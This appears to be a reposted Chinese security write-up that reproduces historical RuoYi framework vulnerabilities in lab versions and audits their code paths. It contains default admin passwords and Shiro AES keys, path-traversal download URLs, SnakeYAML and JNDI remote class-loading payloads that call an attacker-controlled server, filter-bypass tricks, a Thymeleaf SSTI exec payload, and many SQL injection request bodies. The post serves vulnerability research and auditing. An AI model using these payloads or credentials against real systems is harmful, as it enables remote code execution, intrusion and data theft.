RuoYi框架部分历史漏洞

news/2024/9/17 3:27:46

RuoYi框架部分历史漏洞

生产环境搭建(代码审计)

项目地址:若依 (y_project) - Gitee.com

官方文档:RuoYi

项目构成

因为RuoYi框架是基于SpringBoot搭建的,所以我们启动项目时不用像SpringMVC那样去配置我们的服务器然后把项目放到服务器上启动。我们成功导入项目之后会生成一些文件夹存放对应的代码文件,每一个文件夹都代表着不同的功能。

ruoyi-admin:全局配置

ruoyi-common:存放通用的工具包以及工具类

ruoyi-franmework:存放框架核心代码

ruoyi-generator:存放代码生成模块的代码

ruoyi--quartz :任务调度模块

ruoyi-system:项目业务开放模块

ruoyi-ui:前端代码模块

sql:存放项目功能数据脚本

1. IntelliJ IDEA【打开和管理 Ruoyi 项目的后端代码】
2. Node.js 和 npm【管理前端代码的依赖和构建】
3. Apache Maven【管理后端 Java 代码的构建和依赖】PS C:\Users\Administrator> node -v
PS C:\Users\Administrator> npm -v
PS C:\Users\Administrator> mvn -version
PS C:\Users\Administrator> java -version
PS C:\Users\Administrator> javac -version
MySQL5.7.26
redis3.0.504

构建过程

  • 前端/后端配置
  • 数据库账号密码以及数据的导入
  • 端口
  • 前后端独立运行/jar包运行

若依说明

若依能够流行起来,主要得益于以下几个方面的优势:1、基于Spring Boot;2、可视化代码生成;3、丰富的组件和插件;4、前后端分离;5、安全性

SpringBoot框架

Spring Boot是一款开箱即用框架,提供各种默认配置来简化项目配置。让我们的Spring应用【Spring是一个轻量级Java开发框架】变的更轻量化、更快的入门。

Spring Boot 优点非常多,如:1、独立运行;2、简化配置;3、自动配置;4、无代码生成和XML配置;5、应用监控

漏洞说明

RuoYi历史漏洞包括Shiro反序列化漏洞、SSTI漏洞、SQL注入、默认口令、任意文件下载、定时任务远程RCE等。

其中,Shiro反序列化漏洞适用于RuoYi V-4.6.2之前的版本,SSTI漏洞适用于V-4.7.1版本,SQL注入适用于<V-4.6.2版本。任意文件下载漏洞适用于所有版本V-4.7.8之前,定时任务远程RCE适用于<V-4.7.2版本。

测试版本

RuoYi-v4.5.0

image-20240825160458063

RuoYi-v4.7.0

image-20240825160547927

RuoYi-v4.7.1

image-20240825160627385

RuoYi-v4.7.8

image-20240825160706213

1、默认口令(全版本)

很多时候开发人员的安全意识不足,可能存在未修改管理员密码的情况这样我们就能利用RuoYi的默认口令,进行登陆。

  • 不过在大多数情况下,开发者通常都会修改超级管理员的密码,而普通用户ry则可能忘记删除。

  • RuoYi默认口令:admin/admin123、ry/admin123;druid控制台:ruoyi/123456

image-20240825160917600

image-20240825160925291

druid说明

项目地址:https://github.com/alibaba/druid

Druid是Java语言中最好的、开源的、高性能的、配置最简单的数据库连接池。Druid能够提供强大的监控和统计、防SQL注入、高性能、富的配置选项等。

要在Java应用程序中使用Druid连接池,首先需要添加Druid的依赖。如果使用Maven,可以在pom.xml中添加以下依赖:

image-20240823095508544

基本的Druid配置示例:application-druid.yml

image-20240825163050155

2、Shiro反序列化(RuoYi<V4.6.2)

复现版本:4.5.0

Shiro说明

Apache Shiro 是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能,Shiro框架直观、易用、同时也能提供健壮的安全性。

Shiro反序列化漏洞

Apache Shiro反序列化漏洞分为两种:Shiro-550、Shiro-721

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

Payload产生的过程:命令 => 序列化 => AES加密 => base64编码 => RememberMe Cookie值。在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

若依上的利用

ruoyi使用的shiro的高版本,可以自定义密钥,但是由于开发者安全意识不强,在使用ruoyi开发框架时并未更改ruoyi代码中默认的密钥,这同样会导致shiro反序列化漏洞。

  • RuoYi-4.2版本使用的是shiro-1.4.2在该版本和该版本之后都需要勾选AES GCM模式
  • RuoYi-4.2可用利用链为CommonsBeanutilString这条链
  • RuoYi-4.6.2版本开始就使用随机密钥的方式,而不使用固定密钥,若要使用固定密钥需要开发者自己指定密钥,因此4.6.2版本以后,在没有获取到密钥的请情况下无法再进行利用。

RuoYi各版本的AES默认密钥

RuoYi 版本号 对象版本的默认AES密钥
4.6.1-4.3.1 zSyK5Kp6PZAAjlT+eeNMlg==
3.4-及以下 fCq+/xW488hMTCD+cmJ3aQ==

漏洞复现

image-20240825164543153

image-20240825164551326

4.5.0版本的密钥:

image-20240825164601861

RuoYi > V-4.6.2版本:

image-20240825164644950

3、后台任意文件下载漏洞

除了手动测试该漏洞,该可以通过postman接口调试工具来实现

RuoYi<V-4.5.1

复现版本:4.5.0

该漏洞是由于在RuoYi低版本文件下载接口 /common/download/resource 中未对输入的路径做限制,导致可下载任意文件。

  • 接口位置com/ruoyi/web/controller/common/CommonController.java

image-20240825171109897

  • 文件下载默认路径ruoyi-admin\src\main\resources\application.yml
  • E:\Users\Desktop\RuoYi-v4.5.0

image-20240825165908105

  • 路径前缀(即接收输入参数路径的前缀),因此接口即为 /common/constant/Constant

image-20240825170915051

复现过程

添加请求参数接口 + resource=/profile/1.txt

http://127.0.0.1:83/common/download/resource?resource=/profile/../../../../../../123.txt
http://127.0.0.1:83/common/download/resource?resource=/profile/123.txt

image-20240823102943264

image-20240823103302262

RuoYi<V4.7.8(定时绕过思路)

复现版本:4.7.0

在RuoYi定时任务中可以设置全局环境变量,而资源下载路径,也属于全局变量的范围,因此我们可以通过定时任务修改全局变量中的默认资源下载路径。

  • 以此来绕过必须使用resource来下载资源文件的方式。

    接口为ruoyi-admin\src\main\java\com\ruoyi\web\controller\common\CommonController.java

image-20240825171331083

  • 具体思路入下:例如我们可以添加一个定时任务,任务为 ruoYiConfig.setProfile('C://windows/win.ini') ,也就是将默认下载资源路径更改为该路径,如此resource再输入任意可通过文件类型检测,且不存在前缀路径即可直接下载该文件。

复现过程

# 调用定时任务调用目标字符串:ruoYiConfig.setProfile('c://1.txt')
cron表达式:0/10 * * * * ?

image-20240825172838906

下载

http://127.0.0.1:70/common/download/resource?resource=C://1.txt

image-20240826170924270

4、定时任务远程RCE

SnakeYaml反序列化(RuoYi<V-4.6.2)

复现版本:4.5.0

漏洞分析

通常只要引用了Snakeyaml包的几乎都可进行反序列化

https://www.cnblogs.com/nice0e3/p/14514882.html

若依后台RCE到snakeyaml反序列化 | Gta1ta's Blog (myblog.ac.cn)

文件:pom.xml(rouyi-common)

image-20240826002350237

漏洞复现

下载yaml反序列化payload工具

  • 该工具是通过org.yaml.snakeyaml.Yaml类来加载远程的类,通过远程类重写AwesomeScriptEngineFactory类,以此来达到执行远程恶意命令的目的。

  • 下载完工具后将src/artsploit/AwesomeScriptEngineFactory.java文件中的Runtime执行语句改为你要执行的命令

1、修改AwesomeScriptEngineFactory.java文件

image-20240825174032711

2、在工具根目录,使用JAVA编译AwesomeScriptEngineFactory.java文件,并且打包为jar,命令如下

javac src/artsploit/AwesomeScriptEngineFactory.java    # 编译java文件
jar -cvf yaml-payload.jar -C src/ .              # 打包成jar包

image-20240825174105582

3、在工具根目录,编写yaml-payload.yml文件

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:55555/yaml-payload.jar"]]]
]

image-20240825174235553

4、直接在yaml-payload-master目录下使用python起一个http服务

image-20240825174252145

5、然后进入若依后台,添加一个计划任务

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:55555/yaml-payload.jar"]]]]')cron表达式:
0/10 * * * * ?
这个cron就跟linux定时任务一样,定义每天/每周/等,定时启动的时间

image-20240825174307086

6、计划任务启动之后,即可执行命令calc

image-20240825174313257

JNDI注入之LDAP注入(定时)(RuoYi<V-4.6.2)

复现版本:4.5.0

DNSlog生成一个反连域名:wzcfzygueq.yutu.eu.orgjavax.naming.InitialContext.lookup('ldap://wzcfzygueq.yutu.eu.org')

image-20240826003533404

高版本定时绕过策略(V-4.6.2-V-4.7.1)

复现版本:4.7.0

在V-4.6.2-V-4.7.1版本中RuoYi添加了对ldaprmi以及http字符串的过滤

  • ruoyi-quartz\src\main\java\com\ruoyi\quartz\controller\SysJobController.java

image-20240826003850541

但是可通过添加单引号的方式来绕过。例如http就可以改为ht'tp,rmi可以改为r'mi,ldap改为l'dap,以此来绕过字符串检测

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["ht'tp://127.0.0.1:55555/yaml-payload.jar"]]]]'')

image-20240826004002173

image-20240826004005957

添加” ' “绕过,只需要在协议字符串中间添加一个“ ' ”即可,那么所有目标调用字符串可更改为

  • rmi: org.springframework.jndi.JndiLocatorDelegate.lookup('r'mi://192.168.126.1:8888/Calc')
  • ldap: javax.naming.InitialContext.lookup('ld'ap://192.168.126.1:8888/#Calc')
  • SnakeYaml:org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["ht'tp://192.168.126.1:8000/yaml-payload.jar"]]]]')

高版本JNDI注入之LDAP注入(定时+sql+rce)

复现版本:4.7.8

javax.naming.InitialContext.lookup('ldap://urzflbzmos.dgrh3.cn')0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f75727a666c627a6d6f732e64677268332e636e2729genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f75727a666c627a6d6f732e64677268332e636e2729 WHERE job_id = 2;')

image-20240826004225253

直接写入是不允许的,带上绕过也不行,但是可以通过sql注入的方式写入

image-20240826004232727

5、SSTI(Thymeleaf模板注入)注入漏洞(仅适用V-4.7.1)

Thymeleaf说明

Thymeleaf 是一款用于渲染 XML/XHTML/HTML5 内容的模板引擎。它与 JSP,Velocity,FreeMaker 等模板引擎类似,也可以轻易地与 Spring MVC 等 Web 框架集成。与其它模板引擎相比,Thymeleaf 最大的特点是,即使不启动 Web 应用,也可以直接在浏览器中打开并正确显示模板页面 。

漏洞分析

在RuoYi的ruoyi-admin\src\main\java\com\ruoyi\web\controller\monitor\CacheController.javaruoyi-admin\src\main\java\com\ruoyi\web\controller\demo\controller\DemoFormController.java下存在可控的return字段,且由于RuoYi使用的是thymeleaf视图渲染组件,因此可进行SSTI模板注入

其中可注入的接口包括:/getNames、/getKeys、/getValue、/localrefresh/task接口满足条件。

payload构建:

  • 构建fragment参数payload,由于系统未对fragment参数做任何处理就进行返回,因此我们可以直接插入thymeleaf表达式,使用${}注入执行表达式,T()访问java类和静态访问。因此构建payload:${T(java.lang.Runtime).getRuntime().exec("calc.exe")}
  • 由于thymeleaf高版本对T()进行了一些限制,不过可通过在T(增加空格的办法进行绕过。因此构建payload:${T (java.lang.Runtime).getRuntime().exec("calc.exe")} 增加空格

image-20240826104515142

漏洞复现

image-20240826104245136

# 构建payload
${T (java.lang.Runtime).getRuntime().exec("calc.exe")}

image-20240826103953883

6、sql注入漏洞

注入点1 /system/role/list接口(<V-4.6.2)

复现版本:4.5.0

image-20240823161856679

pageSize=10&pageNum=1&orderByColumn=roleSort&isAsc=asc&roleName=&roleKey=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
&params[dataScope]=and extractvalue(1,concat(0x7e,(select user()),0x7e))pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=&parentId=&loginName=&phonenumber=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

image-20240823161616830

空包也可以

image-20240823162122732

代码审计

image-20240823163540307

我们先查看SysRole类是否可接受该dataScope

ruoyi-system\src\main\java\com\ruoyi\system\domain\SysRole.java

在这个SysRole中我们并没有看到定义dataScope的属性

image-20240823163644650

  • 其实这个值是继承自BaseEntity

image-20240823163721445

我们从BaseEntity中可以看到定义了一个HashMap可接收键值对,因此我们才能注入参数 params[dataScope]

image-20240823163912933

我们再重新回到controller的调用逻辑,可以看到调用了服务层的roleService.selectRoleList方法

继续跟进到服务层ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysRoleServiceImpl.java

持久层roleMapper调用selectRoleList方法

image-20240823164202226

最后再跟进到Mapper配置文件

ruoyi-system\src\main\resources\mapper\system\SysRoleMapper.xml

可以看到这里使用了${}危险参数注入方式,相当与参数拼接,因此在这必定存在SQL注入。

image-20240823164258326

我们通过发送payload看一下具体执行的是什么样的sql语句

SELECT DISTINCT r.role_id, r.role_name, r.role_key, r.role_sort, r.data_scope, r.status, r.del_flag, r.create_time, r.remark FROM sys_role r LEFT JOIN sys_user_role ur ON ur.role_id = r.role_id LEFT JOIN sys_user u ON u.user_id = ur.user_id LEFT JOIN sys_dept d ON u.dept_id = d.dept_id WHERE r.del_flag = '0' AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e))

完整语句

SELECTcount( 0 ) 
FROM(SELECT DISTINCTr.role_id,r.role_name,r.role_key,r.role_sort,r.data_scope,r.STATUS,r.del_flag,r.create_time,r.remark FROMsys_role rLEFT JOIN sys_user_role ur ON ur.role_id = r.role_idLEFT JOIN sys_user u ON u.user_id = ur.user_idLEFT JOIN sys_dept d ON u.dept_id = d.dept_id WHEREr.del_flag = '0' AND extractvalue (1,concat( 0x7e, substring(( SELECT DATABASE()), 1, 32 ), 0x7e ))) table_count

注入点2 /system/role/export接口(<V-4.6.2)

复现版本:4.5.0

roleName=&roleKey=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&orderByColumn=roleSort&isAsc=ascroleName=&roleKey=&status=&params%5BbeginTime%5D=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

image-20240823165312718

image-20240823165426601

注入点3 /system/user/list接口(<V-4.6.2)

复现版本:4.5.0

pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=&parentId=&loginName=&phonenumber=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=&parentId=&loginName=&phonenumber=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

image-20240823165704204

同理该SQL注入漏洞产生原因和上面两个接口一致,不过这次是由于selectUserList的配置xml使用了${}进行参数注入导致。若要分析具体逻辑请参照上一注入点ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysUserController.java

image-20240823165839980

ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysUserServiceImpl.java

image-20240823171258730

ruoyi-system\src\main\resources\mapper\system\SysUserMapper.xml

image-20240823171342405

注入点4 /system/user/export接口(<V-4.6.2)

复现版本:4.5.0

deptId=&parentId=&loginName=&phonenumber=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&orderByColumn=createTime&isAsc=descdeptId=&parentId=&loginName=&phonenumber=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&orderByColumn=createTime&isAsc=desc&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

image-20240823171627584

注入点5 /system/dept/list接口(<V-4.6.2)

复现版本:4.5.0

如果抓到包没有Content-Type注意添加POC时一定要加上:
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
否则后端无法识别请求体类型,那么参数就无法注入。&params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select database()),0x7e))

image-20240823171855778

代码审计:

controller接口:ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysDeptController.java

image-20240823172856856

ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysDeptServiceImpl.java

image-20240823173000281

\ruoyi-system\src\main\resources\mapper\system\SysDeptMapper.xml

image-20240823173028606

sql的执行代码

SELECTd.dept_id,d.parent_id,d.ancestors,d.dept_name,d.order_num,d.leader,d.phone,d.email,d.STATUS,d.del_flag,d.create_by,d.create_time 
FROMsys_dept d 
WHEREd.del_flag = '0' AND extractvalue (1,concat( 0x7e,( SELECT DATABASE ()), 0x7e )) 
ORDER BYd.parent_id,d.order_num

注入点6 /system/role/authUser/allocatedList接口(<V-4.6.2)

复现版本:4.5.0

pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&roleId=1&loginName=&phonenumber=pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&roleId=1&loginName=&phonenumber=&params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select database()),0x7e))

image-20240824000514763

代码审计:

接口:ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysRoleController.java

image-20240824000715653

ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysUserServiceImpl.java

image-20240824000747301

ruoyi-system\src\main\resources\mapper\system\SysUserMapper.xml

image-20240824000834739

SELECT DISTINCTu.user_id,u.dept_id,u.login_name,u.user_name,u.user_type,u.email,u.avatar,u.phonenumber,u.STATUS,u.create_time 
FROMsys_user uLEFT JOIN sys_dept d ON u.dept_id = d.dept_idLEFT JOIN sys_user_role ur ON u.user_id = ur.user_idLEFT JOIN sys_role r ON r.role_id = ur.role_id 
WHEREu.del_flag = '0' AND r.role_id =  '0'AND extractvalue (1,concat(0x7e,(SELECT DATABASE ()), 0x7e))

注入点7 /system/role/authUser/unallocatedList接口(<V-4.6.2)

复现版本:4.5.0

image-20240824101820556

pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&roleId=4&loginName=&params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select database()),0x7e))pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&roleId=4&loginName=&phonenumber=&params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select database()),0x7e))

image-20240824101731372

ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysRoleController.java

image-20240824102308020

ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysUserServiceImpl.java

image-20240824102346175

ruoyi-system\src\main\resources\mapper\system\SysUserMapper.xml

image-20240824102423439

SELECT DISTINCTu.user_id,u.dept_id,u.login_name,u.user_name,u.user_type,u.email,u.avatar,u.phonenumber,u.STATUS,u.create_time 
FROMsys_user uLEFT JOIN sys_dept d ON u.dept_id = d.dept_idLEFT JOIN sys_user_role ur ON u.user_id = ur.user_idLEFT JOIN sys_role r ON r.role_id = ur.role_id 
WHEREu.del_flag = '0' AND ( r.role_id != '0' OR r.role_id IS NULL ) AND u.user_id NOT IN (SELECTu.user_id FROMsys_user uINNER JOIN sys_user_role ur ON u.user_id = ur.user_id AND ur.role_id = '0') AND extractvalue (1,concat( 0x7e,( SELECT DATABASE ()), 0x7e ))
# 将?占位符改为标识符'0'即可
SELECT DISTINCT u.user_id, u.dept_id, u.login_name, u.user_name, u.user_type, u.email, u.avatar, u.phonenumber, u.status, u.create_time FROM sys_user u LEFT JOIN sys_dept d ON u.dept_id = d.dept_id LEFT JOIN sys_user_role ur ON u.user_id = ur.user_id LEFT JOIN sys_role r ON r.role_id = ur.role_id WHERE u.del_flag = '0' AND (r.role_id != '0' OR r.role_id IS NULL) AND u.user_id NOT IN (SELECT u.user_id FROM sys_user u INNER JOIN sys_user_role ur ON u.user_id = ur.user_id AND ur.role_id = '0') AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e))

注入点8 /system/dept/edit接口(<V-4.6.2)

复现版本:4.5.0

在下图界面,点击编辑后要点击确认后才能抓到包

image-20240824002551343

deptId=101&parentId=100&parentName=%E8%8B%A5%E4%BE%9D%E7%A7%91%E6%8A%80&deptName=%E6%B7%B1%E5%9C%B3%E6%80%BB%E5%85%AC%E5%8F%B8&orderNum=1&leader=%E8%8B%A5%E4%BE%9D&phone=15888888888&email=ry%40qq.com&status=0
DeptName为任意不存在的名称,DeptId为数据库中存在ID,ParentId为任意数字,其余参数固定。其中ancestors注入参数不能超过50个字符。post数据全部替换成下面内容:
DeptName=xxxxxxxxxxx&DeptId=100&ParentId=555&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat(0,(select user()))));#

image-20240824002454848

代码审计:

接口:ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysDeptController.java

image-20240824002800835

ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysDeptServiceImpl.java

image-20240824002850384

image-20240824002907508

ruoyi-system\src\main\resources\mapper\system\SysDeptMapper.xml

image-20240824002954413

注入点在updateDeptStatus SQL中的 where dept_id in (${ancestors}) 这条语句中,因此我们需要其执行deptMapper.updateDeptStatus() 方法

这个方法是又由updateParentDeptStatus方法调用。再到updateParentDeptStatus方法中。因此我们得出一下结论

image-20240826151215228

image-20240826151130089

因此我们传入得Status必须为 0否则无法执行到updateParentDeptStatus方法

再重新回到controller方法中

image-20240824003051831

因此通过controller方法我们要执行到我们得注入点,必须满足上级部门不能是自己,即 DeptId不等于ParentId,以及部门名称不能是已经存在得部门名称,即DeptName定义参数数据库中不存在。且我们通过SysDept定义得对象实体中知orderNum的值不能为空。com/ruoyi/system/domain/SysDept.java

image-20240826145811323

在sql\ry_20201017.sql。由于ancestors的值为varchar(50),因此输入的字符串长度不能超过50个字符

image-20240826145624914

总结所有条件得出payload:

  1. Status必须为 0,即Status=0
  2. 上级部门不能是自己,即DeptId!=ParentId
  3. 部门名称不能是已经存在得部门名称,即DeptName定义参数数据库中不存在
  4. orderNum的值不能为空,即orderNum != ''
  5. ancestors字符长度小于50
  6. 附加:由于是edit,因此接口DeptId必须是数据库中能查到的部门ID

DeptName=xxxxxxxxxxx&DeptId=100&ParentId=99999&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat(0,(select user()))));#

UPDATE sys_dept 
SET STATUS = '0',
update_by = '1',
update_time = sysdate() 
WHEREdept_id IN ( 0 ) OR (extractvalue (1,concat(0,(SELECT USER()))));#)

注入点9 /tool/gen/createTable接口(V-4.7.1-V-4.7.5)

漏洞复现(V-4.7.1)

从4.7.1版本开始,ruoyi添加了一个新接口,可以执行建表语句,但由于过滤不严谨导致,用户可注入其他的sql语句导致sql注入漏洞。

接口路径:ruoyi-generator\src\main\java\com\ruoyi\generator\controller\GenController.java

代码使用MySqlCreateTableStatement来判断,用户输入sql语句是否为建表语句,如果不是建表语句则抛出异常,并返回。

因此我们可以通过先输入一个建表语句,然后我们可以使用as拼接其他的sql语句(使用as重命名表的方式来添加select语句,需要注意的是a1为创建的表名,因此a1必须自定义的一个不存在的表名),毕竟可以直接传入sql语句,注入的方式非常灵活绕过检测。

sql=CREATE table a1 as SELECT extractvalue(1,concat(0x7e,(select database()),0x7e));sql=CREATE table a1 as SELECT * FROM sys_user WHERE 1=1 union SELECT extractvalue(1,concat(0x7e,(select database()),0x7e));

在点击确认后即可抓到想要的数据包

image-20240824093942063

image-20240824094008835

代码审计:

接口路径:ruoyi-generator\src\main\java\com\ruoyi\generator\controller\GenController.java

image-20240824094529169

注入点10 定时任务sql注入

复现版本:4.7.1

genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'carmi' WHERE job_id = 1;')* * * * * ?

image-20240824103840343

两种大版本的区别

1、相比与RuoYi前后端不分离版本,前后端分离VUE版本的可利用漏洞更少。

2、由于VUE版本使用的是SpringSecurity安全框架未使用shiro框架,因此不存在shiro反序列化漏洞。

3、VUE版本未使用thymeleaf视图渲染组件,因此也不存在SSTI模板注入。

4、并且由于默认情况下VUE版本,对于/export和/list,均使用的是get请求,不支持post请求,无法通过请求参数注入params-dataScope参数。虽然VUE版本在3.7.0开始在/export接口使用post进行传参,但是可惜的是VUE在3.6.0版本就加入了clearDataScope方法来清空dataScope的值,因此这个注入点在VUE全版本均不可利用(二次开发者未修改请求类型的情况下)。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/57862.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

ROS话题通信和服务通信的区别

话题和服务是 ROS 中使用最多的通信方法,它们之间有很多不同之处:

分治

由 ryz 讲解 什么是分治?把一个较大规模的问题分成若干个较小规模的问题。小规模的问题与原问题不同(根号分治)小规模的问题与原问题相同(对数分治)二分就是一种对数分治的方法。 操作序列分治 cdq 分治 修改和询问的整体分治也被称为 cdq 分治。 要求:修改对询问具有可加…

Docker 镜像的发布过程

搭建了一个镜像后(例如搭建好了一个开发环境),如果想要供其他人使用,此时就可以发布镜像到镜像仓库。本文就试着将本地的镜像,发布到阿里云。搭建了一个镜像后(例如搭建好了一个开发环境),如果想要供其他人使用,此时就可以发布镜像到镜像仓库。 本文就试着将本地的镜像…

VI源的基本概念

V/I源的基本概念 1.1 基本概念 通用直流电压电流源是一种线性电源,也称为四象限可编程电压电流源,主要用于各种自动测试设备(Automated Test Equipment,ATE)或自动测试系统(Automatic Test System, ATS),英文名称为Voltage/Current Source(V/I Source),在本书中简称…

Swagger/OpenAPI Client Generator for Delphi and FPC

Delphi和FPC的Swagger/OpenAPI客户端生成器 Swagger/OpenAPI Client Generator for Delphi and FPC Swagger/OpenAPI 是一种用于描述和定义RESTful API的规范和工具集。具体来说,它们提供了以下关键特性和作用: 一、定义与背景Swagger :最初是一种用于描述RESTful API的规范…

数据包格式

近来常思,不应止步于此,可自觉进阶缓慢,一筹莫展,就打算自废武功复习一下,那就从状态码开始吧。前言近来常思,不应止步于此,可自觉进阶缓慢,一筹莫展,就打算自废武功复习一下,那就从状态码开始吧。 由于强迫症患者,所以后面就顺便把数据包格式啥的都一起写一下吧。请…

英特尔FPGA深度学习加速(DLA)套件

英特尔FPGA深度学习加速(DLA)套件英特尔FPGA的DLA加速套件,如图11-17所示。图11-17 英特尔FPGA的DLA加速套件 深度学习部署工具包(DLDT)中的推理引擎,提供了一个高级的设备无关API来编程推理。这是一些示例代码,如图11-18所示。图11-18 深度学习部署工具包(DLDT)中的推…